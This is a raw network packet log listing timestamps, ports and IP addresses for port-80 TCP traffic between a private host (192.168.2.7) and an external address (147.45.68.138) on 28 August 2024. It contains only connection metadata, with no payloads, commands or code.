Aug 28, 2024 22:55:57.467227936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467238903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467247009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467250109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467261076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467288971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467335939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467346907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467356920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467369080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467380047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467381001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467397928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467432976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467457056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467473984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467485905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467492104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467504978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467567921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472019911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472073078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472103119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472114086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472125053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472136021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472146034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472148895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472160101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472178936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472206116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472245932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472259045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472269058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472280979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472289085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472295046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472306967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472312927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472337008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472345114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472354889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472357035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472368002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472378969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472378969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472392082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472398996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472403049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472413063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472414970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472436905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472439051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472453117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472455025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472465992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472476006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472485065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472491980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472492933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472503901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472517014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472527027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472541094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472547054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472563028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472568035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472573996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472590923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472601891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472603083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472613096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472621918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472630024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472640991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472647905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472651005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472661972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472670078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472673893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472682953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472693920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472700119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472706079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472717047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472727060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472729921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472737074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472747087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472748041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472759962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472770929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472771883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472783089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472794056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472794056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472807884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472819090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472820044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.472847939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.472862959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.550890923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550911903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550921917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550928116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550937891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550949097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550966024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550973892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.550975084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550986052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.550997019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551006079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551007986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551047087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551076889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551086903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551096916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551106930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551112890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551119089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551130056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551136971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551146984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551156044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551162958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551167011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551187038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551206112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551227093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551238060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551248074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551264048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551285028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551316023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551326990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551342964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551352024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551353931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551362991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551373005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551381111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551398039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551418066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551451921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551461935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551470995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551481962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551489115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551496029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551511049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551537991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551686049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551698923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551707983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551717997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.551728010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.551747084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.552347898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552367926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552377939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552398920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.552407026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.552457094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552467108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552475929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552495003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552495956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.552505016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.552514076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.552537918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.557482004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.557528973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.573287010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.579320908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760663033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760685921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760696888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760709047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760720015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760730028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760741949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760751963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760762930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760761976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760773897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760785103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760793924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760795116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760807037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760817051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760828018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760838032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760845900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760848999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760859013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760869026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760869026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760879993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760890007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760890007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760900974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760911942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760912895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760921955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760930061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760932922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.760955095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.760978937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761253119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761269093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761280060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761290073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761291981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761301994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761307955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761312008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761327982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761327982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761344910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761354923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761354923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761365891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761369944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761370897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761375904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761382103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761399031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761414051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761435032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761452913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761464119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761472940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761483908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761490107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761508942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761526108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761531115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761540890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761549950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761564970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761567116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761576891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761583090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761586905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761598110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761599064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761609077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761615992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761630058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761651993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761687040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761697054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761708021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761718988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761718988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761730909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761734962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761740923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761755943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761778116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761873007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761883020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761893034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761910915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761923075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.761981964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.761991978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762001038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762015104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762028933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762032032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762042999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762052059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762063980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762089014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762229919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762263060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762298107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762307882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762330055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762343884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762373924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762383938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762393951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762404919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762413979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762422085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762423038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762439966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762445927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762450933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762460947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762473106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762475967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762499094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762501001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762511015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762520075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762521982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762532949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762542963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762572050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762583971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762593985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762603998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762614965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762618065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762629032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762638092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762659073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762660980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762669086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762685061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762693882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762705088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762712002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762716055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762739897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762763023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762886047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762909889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762917995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762918949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.762939930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762953043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.762989044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763000011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763010025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763021946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763022900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763032913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763036966 CEST	49731	80	192.168.2.7	147.45.68.138
